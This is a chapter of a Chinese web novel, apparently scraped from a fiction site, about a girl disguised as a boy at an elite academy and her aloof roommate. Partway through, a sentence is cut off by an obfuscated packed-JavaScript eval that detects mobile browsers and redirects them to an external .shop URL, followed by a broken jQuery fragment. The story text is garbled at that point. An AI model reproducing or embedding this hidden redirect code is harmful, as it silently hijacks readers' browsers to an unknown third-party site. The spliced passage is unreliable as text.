文趣网 > 其他小说 > 小女仆在贵族学院替少爷上学 > 7. 他的室友
    秋路遥又打完了一局,见时间不早,想着睡个午觉,一抬头却看见贺初昭毛茸茸的后脑勺,恍然想起她是方才回来的。

    按理说上午自己随意帮了她——虽然他并不承认是主动想帮的,但至少有了这事,她不至于再那么怕他了吧。

    看着看着,秋路遥忽地有些出神。

    这个室友,从背影上看真不像个男生。

    刻意剪短过的发丝,看起来扛不住什么重物的肩膀,以及过于纤细的脖子和手臂,若是远看反倒像是女生。

    身体甚至说不上健康匀称,难道也是个特招生?

    想都想到这了,他干脆也就直接说了出来。

    “那什么,”他冲贺初昭的脑袋道,“你个头怎么这么小,你家里人也一样吗?”

    随性的大少爷出于好奇发问,压根不去想这种话对于一个男生来说称得上是挑衅。

    可惜贺初昭不是男生,她并没有意识到被这个群体视为生命大事的指标。

    尽管心里依旧有些芥蒂,但面对一看就是正统男孩子的秋路遥,贺初昭还是有些惊慌,转过了一小块脸,视线飘到秋路遥的鼻梁:“……他们和我差不多高。”

    贺初昭的父亲在她小时候就出事去世了,但从家里留下的照片来看,父亲个子也略低于平均水平。

    秋路遥丝毫没有察觉贺初昭努力通过视线释放的怒气,只当她仍在害羞,托着脸问:“你为什么这么怕人,以前上学没接触过同龄人吗?”

    贺初昭:……

    她暴露了?!上学第二天就暴露了?!

    她积在胸口的小小气愤瞬间被这句话打散,取而代之的是满心的慌乱,手指不自觉握紧了笔,神情如临大敌:“呃……”

    秋路遥只是随便一句吐槽,自然不会真的等贺初昭接话。

    他挥了挥手,道了句“睡了,你随意”,便闷头躺下,拉帘盖被。

    霎时,贺初昭的视线里只剩下关得牢牢实实的床帘。

    “……”

    她倏地转身,埋在书本里,努力让脸上的热度下去。

    好可怕!和男生待在一间屋子里。

    她连生气都没能表露出,就先一步被人搞得阵地一片大乱。

    .

    贺初昭并未睡午觉,她已经习惯在白天工作时间保持良好精神。

    她与秋路遥并肩坐电梯下楼时,秋大少爷一副完全没睡醒的样子,哈切打个不停,睡眼惺忪地嘟囔:“高中是养身体的阶段,要不还是翘课吧。”

    没得到回应,他瞥向身旁安静得像死了一样的室友。

    确认了她在一中午没睡的情况下还能毫无随时入眠的迹象,他觉得此人已经不像人类了。

    秋路遥忍不住搭话:“你老实告诉我,是不是外星派来的间谍。”

    贺初昭:“……我不是。”

    “那你为什么能做到又怕地球人,又不睡午觉的?”

    秋路遥又打了个哈欠,快步走到自己停在宿舍楼下的摩托旁。

    昂贵的新款摩托线条流畅、通体亮眼,旁边再搭配一个细腰长腿、宛如车模般的帅哥,极具冲击力的画面引得不少人频频偷看。

    贺初昭也被这个座驾惊呆,目不转睛地盯着秋路遥插好摩托车钥匙。

    似是察觉到视线,秋路遥回头看了她一眼,勾唇一笑,拍了拍身旁的车座:“帅吧。”

    像是在炫耀孩子的家长。

    随着贺初昭的猛点头,秋路遥又咧开美好的笑容,在下午的阳光中明媚得宛如精灵,短暂掩盖了他原本冷淡的气质。

    如此温暖人心的美少年,从红唇中吐露出来的下一句话却是:“帅也不给你坐。”

    说罢,他长腿一跨,身子俯低,为只能靠双腿前往教学楼的学生们留下一道流星般的背影。

    “嘟嘟嘟……”

    猫托车很快不见踪影。

    被扔在原地的贺初昭当场裂开。

    她刚刚是被恶魔蒙蔽了双眼,居然会觉得他笑得好看。

    他分明就是个欠揍的混蛋!

    .

    来到教室后,贺初昭回自己位置,却没见着秋路遥的影子。

    她已经完全不想探究这个大少爷的脑回路了,总觉得对他最初建立起来的酷哥印象每一秒都在崩塌。

    她安安静静地摊开书本读,很快便听不见周围的吵闹与窗外的风声,如同静止的塑像。

    ——秋路遥踏入室内,第一眼看见的便是这样的画面。

    他的这位室友,时而古怪,时而怕生,时而会露出无语的神情,但似乎有一样东西却没有变过,贯穿了始终。

    她十分认真,貌似时刻都在学习,抓住每一分每一秒学习,像是有什么东西在后面催着她一样。

    这种念头从脑海中冒出后,秋路遥又摇头将它甩开。

    算了,他也无心顾及别人在做什么,不过是个室友而已。

    秋路遥突然心生烦躁。

    果真是他太困的原因,还是翘课吧。

    他扒着门,正欲转身离去,却突然瞧见一个高挑的女生向他座位走去。

    准确来说,不是他的座位,而是他室友的座位。

    他远远见着,那个女生轻轻呼唤,便将沉浸在自己世界中的贺初昭叫醒,从另一个世界拽进了现实。

    女生摊开胳膊说了什么,贺初昭听罢后赶紧惊慌地摆了摆手,脸蛋红彤彤的,像是在推辞。

    秋路遥顿了顿,开始在他过目不忘的大脑里搜寻,终于在特别特别小的角落里捡起了对那个女生的印象。

    是今天上午景晗昱带过来的人,至于叫什么倒是没有记忆。

    他那时根本就没打算对这个无足轻重的人有任何印象。

    但他的怪人室友显然不这么觉得。

    只见她诚惶诚恐地拿出手机,与女生交换了联系方式,两人不经意地对上视线,又羞怯避嫌地移开,像是营造了某种他人无法插足的氛围,守护着只有两人知道的秘密。

    秋路遥冷冷地看着这一幕,心想,他对这两人为何会突然产生交流没有任何兴趣。

    若室友会为了帮助那个女生接近他而费心费力,做出传递情书与礼物,或是将他的联系方式透露给别人等愚蠢行为,秋路遥会立刻找人将此人调去其他宿舍。

    反正他本来也不想跟其他人共处一室。

    女生揣着手机离开了,怪人室友重新将目光挪回了书本,却似乎有些魂不守舍。

    怎么,为了一个会主动和她搭话的美人,连学习都忘了?把心也丢掉了?

    或许是秋路遥的视线过于冰冷,远处的贺初昭像是心有所感般抬起头,投来疑惑的视线。

    但在她做出抬头动作的瞬间,秋路遥便毫不犹豫地转身,离开这个破地方。

    真可笑。

    .

    贺初昭承认,她很羡慕那个新生代表,不管是出于用自己的身份考入京院,或是在被侮辱时勇敢重拳出击,都是她所向往的行为。

    而且从某种意义上来说,祝歌阑还避免了战局波及到贺初昭,保护过她。

    出于这种羡慕,她当时忍不住在对方离自己很近时偷偷塞去一包纸巾,希冀这小小的心意能暂且为她摆脱些许狼狈

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812608|210927||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    但她没想到的是,祝歌阑居然发现是她做的,还当面过来同她道谢!

    直到交换联系方式后,贺初昭还有点晕晕乎乎的,像是在梦中飘荡。

    有种向心目中的榜样靠近的感觉,诶嘿嘿。

    秋路遥一下午都没有在教室出现,但这并不妨碍贺初昭美滋滋地上课,心满意足地接受新知识的熏陶。

    为了培育出高质量人才,京院的学习任务很重,开学当日便开始授课,难度较初中大了许多。

    有了提前预习,贺初昭基本都能听懂,她像一只吮吸知识的海绵般将老师讲的每一个字都记在脑袋里,下课时间还依依不舍地去讲台边提问。

    为了求知,她甚至越过了怕生的底层代码,流畅地与第一次见面的老师交流起来。

    其他学生没有她这样求知若渴,很快便走得稀稀拉拉。

    等到酣畅淋漓的课后提问环节结束,教室里已经不剩下几个人了。

    授课老师一边收拾东西,一边乐呵呵道:“新同学的学习心很强嘛,再过一个月学院就会专门开设拔尖班,吸纳像你这样的学生,你好好准备一下,争取进去。”

    “拔尖班?”

    “就是专门开小灶的课外班咯,”老师带上东西,挥挥手,“你虽然看起来呆呆的,但思维倒是很活泛,我看好你。”

    等到老师也走了,偌大的教室便只剩下贺初昭。

    她心里有事,收拾东西也慢吞吞的,过了好一会儿才背上书包。

    临走前,她又扫了一眼秋路遥的课桌。

    他那时明明是向教学楼的方向骑摩托,会去哪了呢?

    贺初昭慢慢往外走,进入电梯。

    难道摩托车半路掉进了没盖的井里,把室友淹死了?

    她想得出神,电梯门一开就往外走。

    等回过神来时,才发现自己到了负一楼。

    因“一楼”实际上是被长阶梯撑起来的二楼,这座教学楼的负一层才是真正的一楼,专门用于多媒体教室聚集地。

    负一楼也能走出教学楼,贺初昭遂没有回去,直接往大门走。

    但毕竟是第一次来负一层,她左拐右拐,慢慢地有点搞不清方位。

    我该去1号门?还是4号门?

    她瞧见不远处有张挂在墙上的导航图,加快脚步朝那边走去。

    随着位置的靠近,一阵隐隐约约的乐器演奏声如清风般向她吹拂而来。

    越走,那声音便越是明显,悠长而缓慢,醇厚却沉重,像是寄托着演奏者复杂繁重的思绪。

    至低处如诉如泣,至高处呐喊彷徨,忽而忧伤,忽而平和,却从未有片刻的欢愉。

    没怎么接触过乐器的贺初昭听不出这是什么乐器发出来的声音,只觉得这曲子勾起了她努力掩藏在心底的难过。

    为什么音乐会让人如此难过。

    尽管如此,她依旧不自觉地放慢脚步,努力地倾听。

    等到她在导航图处顿住时,那乐声也走到了尾声,停在了一墙之隔的室内。

    贺初昭按捺住好奇,没有去探究这间教室里的演奏者是何人。

    她踮着脚看导航图,确认了自己的位置后,匆匆奔往另一个方向。

    倘若那时她选择了进屋,便会看见她一下午都没有瞧见的某个人。

    秋路遥独自呆在空旷的音乐室内,坐在高板凳上,一手握住琴颈,另一只手自然下垂,掌心还握着琴弓,身前矗立着一把闪烁莹莹漆光的大提琴。

    他将脑袋倚靠在琴身,静静地感受身前乐器尚未停止的微弱余响,沉默地发呆。